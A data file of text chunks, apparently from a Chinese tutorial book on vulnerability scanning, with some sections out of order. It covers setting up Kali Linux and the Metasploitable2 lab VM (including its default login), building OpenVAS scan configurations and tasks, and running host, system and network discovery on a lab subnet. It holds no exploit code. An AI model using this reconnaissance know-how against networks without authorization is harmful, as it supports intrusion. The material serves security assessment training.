，将弹出认证信息编辑对话框，如图11.41所示。 图11.41 编辑认证信息 （3）修改Login文本框的值为test，单击Save按钮保存设置即可。"},
    {"text": "未知 2.1.2 创建虚拟机 当成功安装VMware Workstation软件后，即可创建各种操作系统。下面介绍创建虚拟机操作系统的方法。 【实例2-2】 在VMware Workstation虚拟机中安装Kali Linux操作系统。具体操作步骤如下： （1）在安装Kali Linux操作系统之前，首先准备好该系统的镜像文件。例如，Kali Linux的官方下载网址为 https://www.kali.org/downloads/ 。 （2）启动VMware Workstation。成功打开后，将显示主窗口，如图2.11所示。 图2.11 VMware Workstation主窗口 （3）可以单击图中的“创建新的虚拟机”图标来创建虚拟机。如果有安装好的虚拟机，可以直接单击“打开虚拟机”图标将其打开。这里单击“创建新的虚拟机”图标，打开“欢迎使用新建虚拟机向导”对话框，如图2.12所示。 （4）在该对话框中可以选择安装虚拟机的类型，包括“典型”和“自定义”两种。这里推荐使用“典型”的方式，然后单击“下一步”按钮，弹出“安装客户机操作系统”对话框，如图2.13所示。 图2.12 “欢迎使用新建虚拟机向导”对话框 图2.13 “安装客户机操作系统”对话框 （5）图2.13所示对话框用来选择如何安装客户机操作系统。这里选择“稍后安装操作系统”单选按钮，然后单击“下一步”按钮，弹出“选择客户机操作系统”对话框，如图2.14所示。 （6）在该对话框中选择要安装的操作系统和版本。这里选择Linux操作系统，版本为“Debian 10.x 64位”，然后单击“下一步”按钮，弹出“命名虚拟机”对话框，如图2.15所示。 图2.14 “选择客户机操作系统”对话框 图2.15 “命名虚拟机”对话框 （7）在图2.15所示对话框中可以为虚拟机创建一个名称，并设置虚拟机的安装位置。设置完成后，单击“下一步”按钮，弹出“指定磁盘容量”对话框，如图2.16所示。 （8）在该对话框中设置磁盘的容量。如果有足够大的磁盘空间，建议将磁盘容量设置得大一些，避免造成磁盘容量不足。这里设置为80GB，然后单击“下一步”按钮，弹出“已准备好创建虚拟机”对话框，如图2.17所示。 图2.16 “指定磁盘容量”对话框 图2.17 “已准备好创建虚拟机”对话框 （9）图2.17所示对话框显示了所创建虚拟机的详细信息，单击“完成”按钮，将显示创建的虚拟机窗口，如图2.18所示。 图2.18 创建的虚拟机窗口 （10）图2.18所示窗口显示了新创建的Kali Linux虚拟机。接下来，就可以在该虚拟机中安装Kali Linux操作系统。在该窗口中单击“编辑虚拟机设置”选项，弹出“虚拟机设置”对话框，如图2.19所示。 图2.19 “虚拟机设置”对话框 （11）在这里，可以设置内存、处理器、网络适配器等硬件配置。将这些硬件配置好后，选择“CD/DVD（IDE）”选项，将显示光驱设置信息，如图2.20所示。 图2.20 光驱设置信息 （12）选择“使用ISO映像文件”单选按钮，并单击“浏览”按钮，选择Kali Linux的安装镜像文件。本例中选择Kali Linux 2019.3版本，然后单击“确定”按钮，将返回到VMware主窗口。此时，单击“开启此虚拟机”选项，即可开始安装Kali Linux操作系统。成功启动后，显示安装界面，如图2.21所示。 图2.21 安装界面 （13）该界面是Kali的引导界面，在该界面中选择相应的安装方式，即可开始安装。现在的操作系统安装都比较“傻瓜化”了，非常简单，所以后面的安装过程这里就不再介绍了。 提示： 使用以上的方法，也可以安装其他类型的操作系统。为了方便读者更好地练习，本教程将会提供一些常用的操作系统供使用。 未知 11.4 管理扫描配置方案 扫描配置方案就是用来指定扫描目标所使用的插件。OpenVAS默认内置了多个扫描配置方案，用户也可以自定义和导入其他扫描配置方案。本节将讲解如何对扫描配置方案进行管理。"},
    {"text": "未知 11.4.1 内置扫描配置方案 OpenVAS内置了多个扫描配置方案，可以用来实现不同的扫描任务。用户可以克隆或下载内置扫描配置方案。下面将介绍对内置扫描配置方案的管理。 【实例11-7】 查看内置扫描配置方案。具体操作步骤如下： （1）在菜单栏中依次选择Configuration|Scan Configs命令，将显示扫描配置方案列表，如图11.42所示。 图11.42 扫描配置方案列表 （2）从图11.42所示界面可以看到，默认内置了8个扫描配置方案，如Discovery、empty、Full and fast等。每个扫描配置方案包括4列信息，分别是Name（名称）、Families（插件族）、NVTs（插件）和Actions（操作）。从Name列可以看到扫描配置方案的名称及描述，通过分析描述信息，可知该扫描配置方案针对的目标。例如，从Discovery扫描配置方案的描述信息可以看到，该扫描配置方案用来网络发现，即简单的实施主机发现，确定主机是否活动。Families和NVTs列都包括Total和Trend两个子列，其中Total表示插件族和插件的总数；Trend表示插件族和插件的动向。其中 表示静态即当用户添加新的插件族或插件，将不会自动添加并使用其实施扫描； 表示动态即当用户添加新的插件族或插件，将会自动添加并使用其实施扫描。用户单击扫描配置方案名称，即可查看其详细信息。例如，查看扫描配置方案Discovery的详细信息，如图11.43所示。 图11.43 扫描配置方案详细信息 （3）从图11.43所示界面可以看到扫描配置方案的详细信息，如包括的插件族、扫描者首选项、插件等。由于无法截取到整个页面，所以仅显示了使用的漏洞扫描插件族。例如，使用的扫描插件族有Databases、Default Accounts、FTP等，其中Databases用来扫描数据库漏洞；Default Accounts用来扫描默认账户；FTP用来扫描FTP服务。 未知 11.4.2 添加扫描配置方案 如果内置的扫描配置方案不能满足用户的需求，则可以自定义新的扫描配置方案。下面将介绍添加扫描配置方案的方法。 【实例11-8】 新建扫描配置方案。具体操作步骤如下： （1）在扫描配置方案列表界面，单击新建扫描配置按钮 ，将打开新建扫描配置对话框，如图11.44所示。 图11.44 新建扫描配置 （2）在图11.44所示对话框中可以设置扫描配置方案的名称、注释（可选项）等信息。这里设置该扫描配置方案的名称为Vulnerability Scan。Base选项中有Empty,static and fast和Full and fast两个子选项，Empty,static and fast表示允许用户从零开始扫描；Full and fast表示快速地完全扫描。 为了使扫描结果更准确，这里选中Empty,static and fast单选按钮。单击Create按钮，将打开编辑扫描配置对话框，用来设置漏洞测试插件，如图11.45所示。 图11.45 编辑扫描配置 （3）在图11.45所示对话框中可以设置使用的扫描插件。其共包括5列，分别为Family（插件族）、NVTs selected（选择的漏洞插件）、Trend（动向）、Select all NVTs（选择所有插件）和Actions（操作）。其中，NVTs selected列显示了插件族中包括的插件数及选择的插件数；Select all NVTs表示选择插件族中的所有漏洞插件。如果希望使用某个插件族中的所有漏洞扫描插件，则选中Select all NVTs列的复选框。如果用户希望选择插件族中的特定插件，单击Actions列的编辑扫描插件族配置方案按钮 。例如，单击Brute force attacks插件族的编辑按钮后，将打开扫描配置方案插件族编辑对话框，如图11.46所示。 （4）从该对话框可以看到，Brute force attacks插件族中共包括12个插件，用户希望使用哪个插件，选中Selected列的复选框即可。设置完成后，单击Save按钮保存，即可成功创建扫描配置方案，如图11.47所示。 （5）从该界面可以看到，成功创建了名为Vulnerability Scan扫描配置方案。此时，用户还可以对该扫描配置方案进行管理，单击Actions列中的 按钮，即可实现删除、编辑、克隆和导出。 图11.46 编辑插件族 图11.47 扫描配置方案创建成功 未知 11.4.3 导出扫描配置方案 OpenVAS支持将扫描配置方案导出，然后导入到其他OpenVAS服务器中使用。下面将介绍导出扫描配置方案的方法。 【实例11-9】 导出扫描配置方案。操作步骤如下： （1）在菜单栏中依次选择Configuration|Scan Configs命令，打开扫描配置方案列表，如图11.48所示。 图11.48 扫描配置方案列表 （2）例如，这里选择导出扫描配置方案Vulnerability Scan。单击该扫描配置方案Actions列中的导出按钮 ，将弹出保存导出扫描配置方案的对话框，如图11.49所示。 （3）选中Save File单选按钮，并单击OK按钮，即可成功保存导出的扫描配置方案文件。其中，该文件名为config-3a122454-9adc-4e93-b3cf-8b251a33abb5.xml。 图11.49 保存导出的扫描配置文件"},
    {"text": "未知 11.4.4 导入扫描配置方案 用户可以将其他OpenVAS服务器中导出的扫描配置方案，导入到另一个OpenVAS服务器。下面将介绍导入扫描配置方案的方法。 【实例11-10】 导入扫描配置方案。下面将以11.4.3节导出的扫描配置方案为例，介绍导入扫描配置方案的方法。这里将前面导出的扫描配置方案文件重命名为了config.xml。具体操作步骤如下： （1）在菜单栏中依次选择Configuration|Scan Configs命令，打开扫描配置方案列表，如图11.50所示。 图11.50 扫描配置方案列表 （2）单击左上角的导入按钮 ，将弹出导入扫描配置方案的对话框，如图11.51所示。 （3）单击Browse按钮，选择导入的扫描配置方案文件，如图11.52所示。 图11.51 导入扫描配置 图11.52 成功选择扫描配置方案文件 （4）单击Create按钮，即可将该扫描配置方案导入到当前的OpenVAS服务器，如图11.53所示。 （5）从该界面可以看到，新导入了一个名称为Vulnerability Scan的扫描配置方案。 图11.53 成功导入扫描配置方案 未知 11.5 管理扫描任务 扫描任务用来对目标实施扫描，其由一个扫描配置方案和一个目标组成。当用户将目标和扫描配置方案创建成功后，即可创建扫描任务，并对目标实施扫描。本节将介绍如何对扫描任务进行管理。 未知 11.5.1 新建扫描任务 在OpenVAS中，默认可以使用简单和高级扫描向导快速扫描，并且会创建对应的扫描任务，但是使用这两种扫描方式不可以修改扫描配置方案。如果用户了解目标中安装的软件及系统信息，则可以有针对性的选择目标和扫描配置方案，并创建对应的扫描任务。 【实例11-11】 新建扫描任务。操作步骤如下： （1）打开扫描任务列表。在菜单栏中依次选择Scans|Tasks命令，将弹出欢迎信息对话框，如图11.54所示。 图11.54 欢迎信息 （2）几秒钟之后，该欢迎信息对话框将自动关闭。用户也可以直接单击该对话框右上角的关闭按钮 将其关闭。此时，将显示扫描任务界面，如图11.55所示。 图11.55 扫描任务界面 （3）图11.55所示界面包括两部分，分别为扫描任务的统计和扫描任务列表。其中，扫描任务统计部分包括Tasks by Serverity Class（不同安全级别任务）、Tasks with most High results per host（扫描任务中每个主机的最高级别）和Tasks by status（扫描任务状态）三个选项，这样当用户对目标实施扫描完成后，可以很直观地看到目标中的漏洞严重情况。单击左上角的新建任务按钮 ，将打开新建任务对话框，如图11.56所示。 下面介绍该对话框中的每个选项及含义。 ·Name：任务的名称。 ·Comment：为新建任务添加注释信息。 ·Scan Targets：选择扫描目标，即前面创建的扫描目标。用户也可以单击扫描模板文本框右侧的新建按钮 新建扫描模板。 ·Alerts：设置警报。该选项是可选配置项，默认没有创建任何警报。如果用户希望设置警报，则首先需要创建警报。单击Alerts文本框右侧的新建警报按钮 ，即可创建警报；或者在菜单栏中依次选择Configuration|Alerts命令，打开警报列表进行创建。 ·Schedule：设置计划任务，即多长时间对目标主机实施一次扫描。默认没有创建计划任务。单击Schedule文本框右侧的创建一个新计划任务按钮 ，即可创建新的计划任务；或者在菜单栏中依次选择Configuration|Schedule命令，打开计划任务列表进行创建。 图11.56 新建任务对话框 ·Add results to Asset：添加结果到资产管理（Assets）。默认该选项是启用的，也就是说设置该选项后，扫描的结果将会被添加到Assets中。 ·Alterable Task：是否设置可变任务。该配置项默认是不可变的，也就是说在扫描过程中不可对该任务进行修改。如果设置为可变任务，在没有生成报告之前，用户可以修改该任务。 ·Auto Delete Reports：是否自动删除扫描报告。默认设置为不自动删除报告（Do not automatically delete reports）。如果要启用自动删除扫描报告，则可以指定总是保留最新的几个报告。 ·Scanner：指定扫描者，默认为OpenVAS Default扫描者。如果用户想要创建其他扫描者，在OpenVAS的菜单栏中依次选择Configuration|Scanners命令，即可创建扫描者。 ·Scan Config：选择扫描配置方案。用户可以选择默认提供的几种扫描配置方案，也可以选择自己手动创建的扫描配置方案。 ·Network Source Interface：设置网络源接口，即扫描的网络接口。 ·Order for target hosts：设置目标主机的排序方式。其中，OpenVAS支持三种方式，分别是Sequential（顺序）、Random（随机）和Reverse（逆序）。默认选择的是Sequential（顺序）。 ·Maximum concurrently executed NVTs per host：每台主机同时执行漏洞插件的最大数目，默认值为4。 ·Maximum concurrently scanned hosts：同时扫描主机的最大数目，默认值为20。 例如，这里将创建一个名为Windows 7的扫描任务，其详细配置信息如图11.57所示。 图11.57 新建扫描任务配置信息 （4）单击Create按钮，扫描任务创建成功，如图11.58所示。 图11.58 新建的扫描任务 （5）从图11.58所示界面可以看到新建了一个名为Windows 7的扫描任务。"},
    {"text": "未知 11.5.2 管理已有扫描任务 当用户新建好一个扫描任务后，便可以对其进行管理，如执行、删除、编辑、克隆和导出。下面将介绍对已有扫描任务进行管理的方法。 【实例11-12】 启动扫描任务。操作步骤如下： （1）在菜单栏中依次选择Scans|Tasks命令，打开扫描任务管理界面，如图11.59所示。 图11.59 扫描任务列表 （2）从图11.59所示界面可以看到，只有一个名为Windows 7的扫描任务，状态为New，即新建的扫描任务。单击Actions列中的启动按钮 ，将开始实施扫描。扫描任务刚启动时，状态为 ，即请求扫描。当扫描开始后，将以百分比的形式显示扫描进度，如图11.60所示。 （3）从该界面的Status列可以看到，当前显示为70%。扫描完成后，状态显示为Done，如图11.61所示。 （4）此时，则表示扫描完成。扫描任务列表共包括6列，分别是Name（名称）、Status（状态）、Reports（报告）、Severity（安全级别）、Trend（动向）和Actions（操作）。其中Reports列包括Total和Last两个子列，Total列显示扫描次数，Last列显示最后扫描时间。此时，用户单击Status列或Reports列的值，即可分析扫描结果。 图11.60 正在实施扫描 图11.61 扫描完成 在kindle搜索B089Y82SSX可直接购买阅读 未知 第12章 信息收集 信息收集主要指网络中各主机的基本信息收集，如活动的主机地址、操作系统类型、运行的服务及服务版本信息等。在OpenVAS中，默认提供了多个扫描配置模板，可以用于信息的收集。本章将介绍使用主机发现、系统发现和网络发现实现信息收集。 未知 12.1 主机发现 主机发现主要用来探测目标主机是否在线。当用户确定目标主机活动时，可以进一步实施扫描，如扫描系统指纹信息、服务指纹信息等。本节将介绍实施主机发现的方法。 未知 2.2 使用Metasploitable靶机 Metasploitable是一款基于Ubuntu Linux的操作系统。该系统是一个虚拟机文件，从 http://sourceforge.net/projects/metasploitable/files/Metasploitable2/ 网站下载并解压之后可以直接使用，无须安装。由于基于Ubuntu，所以Metasploitable使用起来得心应手。Metasploitable的作用就是用来作为攻击用的靶机，所以它存在大量未打补丁的漏洞，并且开放了无数高危端口。本节将介绍在VMware Workstation中直接打开Metasploitable操作系统的方法。 【实例2-3】 在VMware Workstation中打开Metasploitable2操作系统。具体操作步骤如下： （1）下载Metasploitables2，其文件名为Metasploitable-Linux-2.0.0.zip。 （2）将下载的文件解压到本地磁盘。 （3）打开VMwareWorstation，并依次选择“文件”|“打开”命令，弹出如图2.22所示的对话框。 图2.22 选择Metasploitable2启动 （4）在图2.22所示对话框中打开Metasploitable2系统所在的位置，并选择Metasploitable.vmx文件，然后单击“打开”按钮，将弹出如图2.23所示的窗口。 图2.23 安装的Metasploitable系统 （5）看到图2.23所示窗口，表示打开了已安装好的虚拟机。接下来，在该窗口中单击“开启此虚拟机”选项，或 按钮将弹出“此虚拟机可能已被移动或复制”对话框，如图2.24所示。 图2.24 “此虚拟机可能已被移动或复制”对话框 （6）单击“我已复制该虚拟机”按钮，即可启动Metasploitable操作系统。成功启动该操作系统后，将显示如图2.25所示的界面。 图2.25 成功启动Metasploitable操作系统 （7）看到以上界面，表示已成功启动Metasploitable操作系统。但是，用户需要登录该系统后才能进行操作，该操作系统默认的用户名和密码都是msfadmin。当登录成功后，将显示如图2.26所示的界面。 图2.26 成功登录Metasploitable操作系统 （8）从该界面的显示的信息中，可以看到当前系统是工作在第一个虚拟伪终端tty1，并且登录系统的用户是一个普通用户。如果需要root用户权限，则使用sudo命令来实现。 提示： 这里之所以介绍Metasploitable操作系统的使用，是为了帮助读者学习直接打开已提供的虚拟机操作系统的方法。 在kindle搜索B089Y82SSX可直接购买阅读"},
    {"text": "未知 12.1.1 主机发现机制 主机发现就是通过对网络进行扫描，找出活动的主机。OpenVAS提供了一个主机发现模板Host Discovery，可以用来实施主机发现。该模板主要是通过使用Port scanners和Settings插件族来发现主机的，如图12.1所示。 图12.1 插件族列表 从图12.1可以看到，分别选择了Port scanners和Settings插件族中的一个漏洞扫描插件。单击插件族名称可以查看该插件族中选择的插件列表。例如，查看Port scanners插件族中选择的插件列表，如图12.2所示。 图12.2 插件列表 从图12.2可以看到，这里将通过Ping Host插件来进行主机发现。接下来查看该插件的详细信息，以了解其发现主机的方法。单击插件名Ping Host，将显示该插件的详细信息，如图12.3和图12.4所示。 图12.3 插件的详细信息1 图12.4 插件的详细信息2 由于整个页面比较大，所以这里粘贴了两张图。在详细信息界面中包括5部分信息，分别是插件的基本信息、摘要信息、漏洞评分、漏洞探测方法和首选项。从基本信息部分可以看到，扫描配置方案为Host Discovery、插件族为Port Scanners、OID为1.3.6.1.4.1.25623.1.0.100315、版本为2019-09-09T06:03:58+0000。从摘要信息部分可以看到，使用了以下三种方法来实现主机发现。 ·ICMP Ping：通过向远程主机发送ICMP请求来实现主机发现。如果收到ICMP响应，则说明该主机在线，否则不在线。 ·ARP方式：通过向远程主机发送ARP广播请求来实现主机发现。如果收到远程主机的响应，则说明该主机在线，否则不在线。 ·TCP方式：向远程主机的端口（即Nmap的20个端口）发送一个TCP SYN包，如果远程主机响应一个TCP RST包，则说明该主机在线；如果远程主机没有响应，则说明该主机不在线。 以上三种方法只对没有防火墙或过滤规则的目标主机可以执行成功。如果目标主机配置环境禁止ICMP或防火墙拦截TCP Ping包，则无法成功探测出目标主机的状态。从漏洞评分部分可以看到，CVSS基础分数为0.0，CVSS基础向量分数为AV:N/AC:L/Au:N/C:N/I:N/A:N。从漏洞探测方法部分可以看到，探测的质量为远程欢迎信息达到80%。从首选项设置中可以看到，默认支持的操作为ICMP ping，使用nmap，扫描的端口为137、587、3128和8081。 未知 12.1.2 构建任务 下面将介绍构建任务的方法。 【实例12-1】 使用默认扫描配置模板Host Discovery扫描本地局域网（192.168.198.0/24）中的活动主机。具体操作步骤如下： （1）创建扫描目标。在菜单栏中依次选择Configuration|Targets命令，打开扫描目标列表界面。单击新建扫描目标按钮 ，打开新建扫描目标对话框，如图12.5所示。 图12.5 新建扫描目标 （2）这里将创建名为Network的目标，指定目标主机范围为192.168.198.0/24，端口列表为All TCP。单击Create按钮，即可成功创建目标。接下来，将创建扫描任务。在扫描任务列表界面，单击新建扫描任务按钮 ，打开新建扫描任务对话框，如图12.6所示。 （3）这里将创建名为Host Discovery的扫描任务，并指定扫描的目标地址为Network，扫描配置方案为Host Discovery。单击Create按钮，即可成功创建扫描任务，如图12.7所示。 图12.6 新建扫描任务 图12.7 扫描任务创建成功 （4）从图12.7所示界面可以看到，成功创建了扫描任务Host Discovery。接下来，单击Actions列中的启动按钮，即可开始扫描。扫描完成后，显示界面如图12.8所示。 图12.8 扫描完成 （5）从图12.8所示界面可以看到，Status列的状态为Done，即扫描完成；Severity列显示为0.0(Log)，即没有检查到存在严重的漏洞。"},
    {"text": "未知 12.1.3 分析扫描报告 当用户对目标主机实施扫描完成后，即可分析扫描结果。下面将以前面的扫描结果为例，对其报告进行分析。 【实例12-2】 分析Host Discovery扫描任务的扫描报告。操作步骤如下： （1）单击Host Discovery扫描任务Reports列的Total值，将显示扫描报告界面，如图12.9所示。 图12.9 扫描报告 （2）图12.9所示界面包括6列，分别是Date（日期）、Status（状态）、Task（任务）、Severity（安全级别）、Scan Results（扫描结果）和Actions（操作）。从Scan Results列可以看到，存在6个日志信息，没有严重的漏洞。单击该扫描报告的时间，将显示扫描结果界面，如图12.10所示。 （3）从该界面可以看到，没有找到匹配过滤器的扫描结果。由于该扫描任务仅扫描出的是日志信息，所以单击Include log messages in your filter setting选项，查看漏洞日志消息，如图12.11所示。 （4）该界面共包括6列，分别是Vulnerability（漏洞名）、Severity（安全级别）、QoD（探测质量）、Host（主机地址）、Location（位置）和Actions（操作）。从显示的结果中可以看到，找到了6个活动主机，地址分别是192.168.198.1、192.168.198.128、192.168.198.129、192.168.198.130、192.168.198.133和192.168.198.2。此时，单击漏洞名或主机地址，即可查看对应主机的漏洞详细信息和主机详细信息。例如，单击192.168.198.1主机的漏洞名Ping Host，将显示该主机中的漏洞详细信息，如图12.12所示。 图12.10 扫描结果 图12.11 漏洞日志消息 （5）从图12.11所示界面可以看到，包括漏洞扫描结果（Result）和用户标签（User Tags）两部分。其中，漏洞扫描结果包括4部分，分别是漏洞列表、漏洞摘要信息、漏洞探测结果和日志方法信息。从探测结果可以看到，使用ICMP ping成功探测到目标主机是活动的，方法为nmap。从日志方法部分可以看到漏洞插件的详细信息和版本。另外，为了方便区分每个扫描结果，单击Actions列中的 按钮，可以添加批注和概要信息。 图12.12 漏洞详细信息 【实例12-3】 添加批注信息。操作步骤如下： （1）单击扫描结果Actions列的添加批注按钮 ，将弹出新建批注对话框，如图12.13所示。 （2）下面介绍对话框中所有的批注设置选项的含义。 ·Active：设置批注的活动时间。 ·Hosts：批注的主机地址。 ·Location：批注的主机端口。 ·Severity：安全级别。 ·Task：任务。 ·Result：结果。 ·Text：添加文本描述。 图12.13 批注信息 设置完成后，单击Create按钮，将成功为该扫描报告添加批注信息，如图12.14所示。 图12.14 添加的批注信息 （3）从图12.14所示界面可以看到，增加了一部分Note信息。此时，用户通过单击按钮 ，可以对批注进行管理，如删除、查看、编辑、克隆及导出。在菜单栏中依次选择Scans|Notes命令，即可查看所有的批注信息，如图12.15所示。 图12.15 批注信息 （4）从图12.15所示界面可以看到刚才新添加的批注信息，其中文本内容为Route Address。单击该文本内容，即可查看批注的漏洞的详细信息。 未知 12.2 系统发现 当用户通过主机发现，扫描出局域网中活动的主机后，便可以对活动的主机进行进一步扫描，即系统发现扫描。系统发现主要是用于发现目标主机的操作系统类型的。通过系统发现，知道目标主机的操作系统后，用户在实施更深入的扫描时，就能够有目标的选择相关的NVT插件或端口等。下面将介绍实施系统发现的方法。 未知 12.2.1 系统发现机制 系统发现主要用来识别操作系统的指纹信息，如操作系统类型、开放的端口、服务等。OpenVAS提供了一个名为System Discovery的扫描配置方案，可以用来实施系统发现。其中，该扫描模板主要使用的插件族为General、Port scanners、Product detection、SNMP、Service detection和Windows，如图12.16所示。 图12.16 系统发现漏洞插件族 从图12.16所示界面可以看到，共选择了6个插件族中的几个特定插件。从NVTs selected列可以看到，共选择了29个插件。单击插件族名称，即可查看选择的插件。例如，查看Service detection插件族中的插件，如图12.17所示。 图12.17 插件列表 从图12.17所示界面可以看到，这里将通过Host Details和MDNS Service Detection插件探测主机详细信息和MDNS服务信息。通过分析插件的详细信息，即可知道该模板如何进行系统发现。例如，查看Host Details插件的详细信息，如图12.18所示。 图12.18 插件详细信息 从图12.18所示界面可以看到，当前插件的OID为1.3.6.1.4.1.25623.1.0.103997、版本为$Revision:11908$、漏洞探测方法为远程探测、探测质量为50%。从摘要信息中可以看到，该插件主要用来收集操作系统信息。"},
    {"text": "未知 12.2.2 构建任务 下面将介绍构建系统发现扫描任务的方法。 【实例12-4】 以System Discovery模板为例，创建系统发现扫描任务。操作步骤如下： （1）在扫描任务列表界面，单击新建扫描任务按钮 ，打开新建扫描任务对话框，如图12.19所示。 （2）这里将设置扫描任务名称为System Discovery、扫描目标设置为Network、扫描配置方案为System Discovery。单击Create按钮，即可成功创建扫描任务，如图12.20所示。 （3）从该界面可以看到，成功创建了名为System Discovery的扫描任务。单击Actions列中的启动按钮 ，将开始实施扫描。扫描完成后，状态将显示为Done，如图12.21所示。 图12.19 新建扫描任务 图12.20 成功创建扫描任务 图12.21 扫描完成 （4）从图12.21所示界面可以看到，System Discovery扫描任务执行完成。从Severity列可以看到，当前安全级别为0.0(Log)，即日志信息。 未知 12.2.3 分析扫描报告 下面将以前面的系统发现扫描结果为例，对其进行分析。 【实例12-5】 分析System Discovery扫描任务的扫描报告。具体操作步骤如下： （1）在扫描任务列表中单击Reports列的Total值，将显示扫描报告界面，如图12.22所示。 图12.22 扫描报告界面 （2）从Scan Results列可以看到，当前扫描任务仅扫描出65个日志信息，没有严重的漏洞。单击该扫描任务的时间，将查看对应的扫描结果，如图12.23所示。 （3）由于当前扫描任务没有严重的漏洞，仅包括一些日志信息，所以这里没有列出具体的漏洞详情。单击Include log messages in your filter setting选项，将显示漏洞日志信息，如图12.24所示。 （4）从该界面可以看到，共包括65个扫描结果。例如，这里查看下主机192.168.198.129中的SMB NativeLanMan漏洞信息，则单击漏洞名SMB NativeLanMan，将显示该漏洞详细信息，如图12.25所示。 图12.23 扫描结果 图12.24 漏洞日志信息 图12.25 漏洞详细信息 （5）从图12.25所示界面可以看到，漏洞扫描结果部分包括摘要信息（Summary）、漏洞探测结果（Vulnerability Detection Result）和日志方法（Log Method）。通过对该探测结果进行分析，可知目标主机为工作组，计算机名为TEST，操作系统类型为Windows 7 Ultimate 7601 Service Pack 1。从日志方法中可以看到，日志详情为SMB NativeLanMan(OID:1.3.6.1.4.1.25623.1.0.102011)；版本为2019-10-22T06:50:15+0000。 未知 12.3 网络发现 网络发现就是对目标主机与网络相关的信息都实施扫描，如路由、操作系统、服务、端口及版本等。这种扫描方式包括了主机发现和系统发现的所有功能。用户只要确定某主机是活动的，就可以使用这种扫描方式实施扫描。本节将介绍实施网络发现的方法。 未知 12.3.1 网络发现机制 在OpenVAS中，默认提供了一个网络发现扫描模板Discovery，该扫描模板使用了20个插件族，如图12.26所示。 从该界面可以看到，使用的漏洞插件族有Databases、Default Accounts、Denial of Service、FTP等。其中，分别选择了这些插件族中用于网络发现的插件。例如，单击Databases插件族名称，将显示该插件族中选择的插件列表，如图12.27所示。 图12.26 漏洞插件族列表 图12.27 插件列表 从图12.27所法界面可以看到，选择了Databases插件族中的一个插件Database Open Access Vulnerability。单击该插件名，即可查看其详细信息。具体如下： Scan Config NVT Details #插件详细信息 Config: Discovery #配置方案 Family: Databases #插件族 OID: 1.3.6.1.4.1.25623.1.0.902799 #目标标识符 Version: 2019-09-09T06:03:58+0000 #版本 Notes: 0 #标记 Overrides: 0 #概要 Show scan results for this NVT #显示插件的扫描结果 Summary #摘要信息 The host is running a Database server and is prone to information disclosure vulnerability. Affected Software/OS #影响的软件/操作系统 - MySQL/MariaDB - IBM DB2 - PostgreSQL - IBM solidDB - Oracle Database - Microsoft SQL Server Vulnerability Scoring #漏洞评分 CVSS base: 0.0 CVSS base vector: AV:N/AC:L/Au:N/C:N/I:N/A:N Vulnerability Insight #漏洞详情 Do not restricting direct access of databases to the remote systems. Vulnerability Detection Method #漏洞探测方法 Quality of Detection: remote_banner (80%) Impact #影响 Successful exploitation could allow an attacker to obtain the sensitive information of the database. Solution #解决方法 Solution type: Workaround Workaround Restrict Database access to remote systems. References #参考 Other: https://www.pcisecuritystandards.org/security_standards/index. php?id=pci_dss_v1-2.pdf Preferences #首选项 Name Current Value Default Value Actions Timeout default default 从以上显示的信息中可以看到该插件的详细信息，如摘要信息、受影响的软件/操作系统等。通过对以上信息进行分析，可知受影响的软件有MySQL/MariaDB、IBM DB2、PostgreSQL、Oracle Database等。如果目标主机存在该漏洞，则可以利用该漏洞获取目标数据库的敏感信息。"},
    {"text": "未知 12.3.2 构建任务 下面将介绍创建网络发现扫描任务的方法。 【实例12-6】 使用Discovery模板，创建网络发现扫描任务。这里将以12.1.2节创建的Network为目标。操作步骤如下： （1）在菜单栏中依次选择Scans|Tasks命令，打开扫描任务列表界面。单击新建扫描任务按钮 ，将弹出新建扫描任务对话框，如图12.28所示。 图12.28 新建扫描任务 （2）这里将设置名称为Network Discovery、扫描目标为Network、扫描配置方案为Discovery。单击Create按钮，即可成功创建扫描任务，如图12.29所示。 图12.29 成功创建扫描任务 （3）从图12.29所示界面可以看到，成功创建了名为Network Discovery的扫描任务。单击Actions列中的启动按钮 ，将开始扫描指定的目标主机。扫描完成后，显示界面如图12.30所示。 （4）从该界面可以看到，Status列显示为Done，即扫描完成。从Severity列可以看到，当前扫描任务的漏洞安全级别为7.5，即存在较严重的安全级别漏洞。 图12.30 扫描完成 未知 第2篇 Nessus漏洞扫描 ·第3章 Nessus基础知识 ·第4章 主机发现 ·第5章 漏洞扫描 ·第6章 专项扫描 ·第7章 特定漏洞扫描 ·第8章 自定义扫描任务模板 ·第9章 导出和利用扫描报告 未知 12.3.3 分析扫描报告 下面将以12.3.2节的网络发现任务扫描结果为例，对其进行分析。 【实例12-7】 分析Network Discovery扫描任务的扫描报告。具体操作步骤如下： （1）在扫描任务列表中，单击网络发现扫描任务Reports列的Total值，将显示其扫描结果，如图12.31所示。 图12.31 扫描结果 （2）从图12.31所示界面可以看到发现的主机列表和对应的漏洞信息，单击漏洞名称即可查看其详细信息。例如，单击主机192.168.198.128中的Anonymous FTP Login Reporting漏洞名称，将显示其详细信息，如图12.32所示。 图12.32 漏洞详细信息 （3）图12.32所示界面包括7部分，分别是摘要信息（Summary）、漏洞探测结果（Vulnerability Detection Result）、影响（Impact）、解决类型（Solution type）、漏洞详情（Vulnerability Insight）、漏洞探测方法（Vulnerability Detection Method）和References（参考）。从漏洞探测结果可以看到，目标主机中的FTP服务允许匿名登录，登录的用户名为anonymous和ftp。攻击者可以利用该漏洞访问服务器上的敏感文件、上传或删除文件。提供的解决方法是禁用匿名登录。从参考部分可以看到，提供了一个参考链接，可以查看该漏洞的相关信息。 在扫描报告界面，默认过滤显示了比较严重的漏洞列表。用户通过单击报告下拉列表，也可以查看其他类型的漏洞，如图12.33所示。 从该列表中可以看到包括11种报告类型，下面分别介绍每种报告类型及其含义。 ·Summary and Download：显示摘要和下载报告信息。 ·Results：显示扫描结果列表。括号中的数字表示漏洞个数。 ·Vulnerabilities：显示漏洞报告列表。 ·Hosts：显示报告中的主机数。 ·Ports：显示报告中的端口数。 图12.33 报告下拉列表 ·Applications：显示报告中的应用程序。 ·Operating Systems：显示报告中主机的操作系统信息。 ·CVEs：显示扫描报告中CVE信息。 ·Closed CVEs：显示扫描报告中关闭的CVE漏洞信息。 ·SSL Certificates：显示扫描报告中的SSL证书。 ·Error Messages：显示扫描报告中的错误消息。 例如，这里将查看扫描报告中的操作系统信息，则选择Report:Operating Systems选项，将显示操作系统报告，如图12.34所示。 图12.34 操作系统信息 从图12.34所示界面可以看到，当前报告中存在两个操作系统信息，其操作系统类型分别是Canonical Ubuntu Linux和Microsoft Windows。 在kindle搜索B089Y82SSX可直接购买阅读 未知 第13章 通用模板扫描 